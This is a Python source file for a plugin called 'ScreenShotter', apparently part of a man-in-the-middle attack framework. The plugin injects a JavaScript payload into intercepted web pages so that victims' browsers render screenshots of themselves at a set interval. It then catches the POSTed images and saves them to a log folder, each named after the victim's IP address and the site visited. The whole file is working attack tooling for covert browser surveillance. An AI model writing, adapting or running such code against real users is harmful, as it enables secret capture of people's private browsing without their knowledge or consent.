#!/usr/bin/env python2.7

# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import base64
import urllib
import re

from datetime import datetime
from plugins.plugin import Plugin
from plugins.inject import Inject

class ScreenShotter(Inject, Plugin):
    name     = 'ScreenShotter'
    optname  = 'screen'
    desc     = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
    ver      = '0.1'

    def initialize(self, options):
        Inject.initialize(self, options)
        self.js_payload = self.get_payload()
        self.interval = options.interval

    def request(self, request):
        if 'saveshot' in request.uri:
            request.handle_post_output = True

            client = request.client.getClientIP()
            img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
            try:
                with open('./logs/' + img_file, 'wb') as img:
                    img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
                    img.close()

                self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
            except Exception as e:
                self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)

    def get_payload(self):
        return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())

    def options(self, options):
        options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")